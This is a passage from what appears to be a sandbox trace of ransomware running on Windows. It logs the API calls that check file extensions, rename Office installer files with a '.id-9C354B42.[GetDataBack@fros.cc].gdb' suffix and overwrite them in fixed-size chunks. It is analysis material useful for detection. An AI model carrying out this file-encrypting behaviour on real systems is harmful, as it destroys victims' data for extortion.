Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.333] lstrlenW (lpString=".doc") returned 4 [0125.333] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.333] lstrlenW (lpString=".docx") returned 5 [0125.333] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.333] lstrlenW (lpString=".pdf") returned 4 [0125.333] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.333] lstrlenW (lpString=".xls") returned 4 [0125.333] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.333] lstrlenW (lpString=".xlsx") returned 5 [0125.333] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.333] lstrlenW (lpString=".ppt") returned 4 [0125.333] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.333] lstrlenW (lpString=".zip") returned 4 [0125.333] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.333] lstrlenW (lpString=".rar") returned 4 [0125.333] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString=".bz2") returned 4 [0125.334] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.334] lstrlenW (lpString=".7z") returned 3 [0125.334] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".dbf") returned 4 [0125.334] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".1cd") returned 4 [0125.334] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".jpg") returned 4 [0125.334] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".doc") returned 4 [0125.334] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString=".docx") returned 5 [0125.334] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.334] lstrlenW (lpString=".pdf") returned 4 [0125.334] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString=".xls") returned 4 [0125.334] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString=".xlsx") returned 5 [0125.334] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.334] lstrlenW (lpString=".ppt") returned 4 [0125.334] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".zip") returned 4 [0125.334] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString=".rar") returned 4 [0125.334] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString=".bz2") returned 4 [0125.334] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.334] lstrlenW (lpString=".7z") returned 3 [0125.334] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".dbf") returned 4 [0125.334] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.334] lstrlenW (lpString=".1cd") returned 4 [0125.334] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0125.335] lstrlenW (lpString=".jpg") returned 4 [0125.335] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.335] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0125.335] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0125.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0125.336] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2511872) returned 1 [0125.336] CloseHandle (hObject=0x1a8) returned 1 [0125.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0125.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.336] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0125.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0125.337] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0125.337] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.337] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.341] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.341] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.650] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0125.650] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.650] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.666] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0125.666] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0108, lpOverlapped=0x0) returned 1 [0125.685] SetEndOfFile (hFile=0x1a8) returned 1 [0125.685] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.685] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.687] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.687] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.692] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0125.692] WriteFile (in: hFile=0x1a8, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0125.825] CloseHandle (hObject=0x1a8) returned 1 [0125.826] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.826] lstrlenW (lpString=".doc") returned 4 [0125.826] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0125.826] lstrlenW (lpString=".docx") returned 5 [0125.826] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0125.826] lstrlenW (lpString=".pdf") returned 4 [0125.826] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0125.826] lstrlenW (lpString=".xls") returned 4 [0125.826] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0125.826] lstrlenW (lpString=".xlsx") returned 5 [0125.826] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0125.826] lstrlenW (lpString=".ppt") returned 4 [0125.826] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0125.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.826] lstrlenW (lpString=".zip") returned 4 [0125.826] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0125.826] lstrlenW (lpString=".rar") returned 4 [0125.826] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0125.826] lstrlenW (lpString=".bz2") returned 4 [0125.826] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0125.826] lstrlenW (lpString=".7z") returned 3 [0125.826] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0125.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.826] lstrlenW (lpString=".dbf") returned 4 [0125.826] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0125.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.826] lstrlenW (lpString=".1cd") returned 4 [0125.826] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0125.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.826] lstrlenW (lpString=".jpg") returned 4 [0125.826] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0125.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.827] lstrlenW (lpString=".doc") returned 4 [0125.827] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0125.827] lstrlenW (lpString=".docx") returned 5 [0125.827] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0125.827] lstrlenW (lpString=".pdf") returned 4 [0125.827] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0125.827] lstrlenW (lpString=".xls") returned 4 [0125.827] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0125.827] lstrlenW (lpString=".xlsx") returned 5 [0125.827] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0125.827] lstrlenW (lpString=".ppt") returned 4 [0125.827] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0125.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.827] lstrlenW (lpString=".zip") returned 4 [0125.827] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0125.827] lstrlenW (lpString=".rar") returned 4 [0125.827] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0125.827] lstrlenW (lpString=".bz2") returned 4 [0125.827] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0125.827] lstrlenW (lpString=".7z") returned 3 [0125.827] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0125.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.827] lstrlenW (lpString=".dbf") returned 4 [0125.827] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0125.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.827] lstrlenW (lpString=".1cd") returned 4 [0125.827] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0125.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0125.827] lstrlenW (lpString=".jpg") returned 4 [0125.827] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0125.827] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0125.827] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0125.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0125.828] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2507776) returned 1 [0125.828] CloseHandle (hObject=0x1a8) returned 1 [0125.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0125.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.828] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0125.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0125.829] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0125.829] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.829] ReadFile (in: hFile=0x1a8, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.911] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.911] ReadFile (in: hFile=0x1a8, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0125.920] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0125.920] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0125.920] ReadFile (in: hFile=0x1a8, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0126.011] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0126.011] WriteFile (in: hFile=0x1a8, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0106, lpOverlapped=0x0) returned 1 [0126.642] SetEndOfFile (hFile=0x1a8) returned 1 [0126.839] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0126.839] WriteFile (in: hFile=0x1a8, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0126.840] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0126.840] WriteFile (in: hFile=0x1a8, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0126.846] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0126.846] WriteFile (in: hFile=0x1a8, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0126.849] CloseHandle (hObject=0x1a8) returned 1 [0126.849] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString=".doc") returned 4 [0126.850] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0126.850] lstrlenW (lpString=".docx") returned 5 [0126.850] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0126.850] lstrlenW (lpString=".pdf") returned 4 [0126.850] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0126.850] lstrlenW (lpString=".xls") returned 4 [0126.850] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0126.850] lstrlenW (lpString=".xlsx") returned 5 [0126.850] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0126.850] lstrlenW (lpString=".ppt") returned 4 [0126.850] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString=".zip") returned 4 [0126.850] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0126.850] lstrlenW (lpString=".rar") returned 4 [0126.850] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0126.850] lstrlenW (lpString=".bz2") returned 4 [0126.850] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0126.850] lstrlenW (lpString=".7z") returned 3 [0126.850] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString=".dbf") returned 4 [0126.850] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString=".1cd") returned 4 [0126.850] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString=".jpg") returned 4 [0126.850] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.851] lstrlenW (lpString=".doc") returned 4 [0126.851] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0126.851] lstrlenW (lpString=".docx") returned 5 [0126.851] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0126.851] lstrlenW (lpString=".pdf") returned 4 [0126.851] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0126.851] lstrlenW (lpString=".xls") returned 4 [0126.851] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0126.851] lstrlenW (lpString=".xlsx") returned 5 [0126.851] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0126.851] lstrlenW (lpString=".ppt") returned 4 [0126.851] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0126.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.851] lstrlenW (lpString=".zip") returned 4 [0126.851] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0126.851] lstrlenW (lpString=".rar") returned 4 [0126.851] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0126.851] lstrlenW (lpString=".bz2") returned 4 [0126.851] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0126.851] lstrlenW (lpString=".7z") returned 3 [0126.851] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0126.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.851] lstrlenW (lpString=".dbf") returned 4 [0126.851] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0126.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.851] lstrlenW (lpString=".1cd") returned 4 [0126.851] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0126.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0126.851] lstrlenW (lpString=".jpg") returned 4 [0126.851] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0126.851] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0126.851] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0126.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0126.852] GetFileSizeEx (in: hFile=0x1a8, 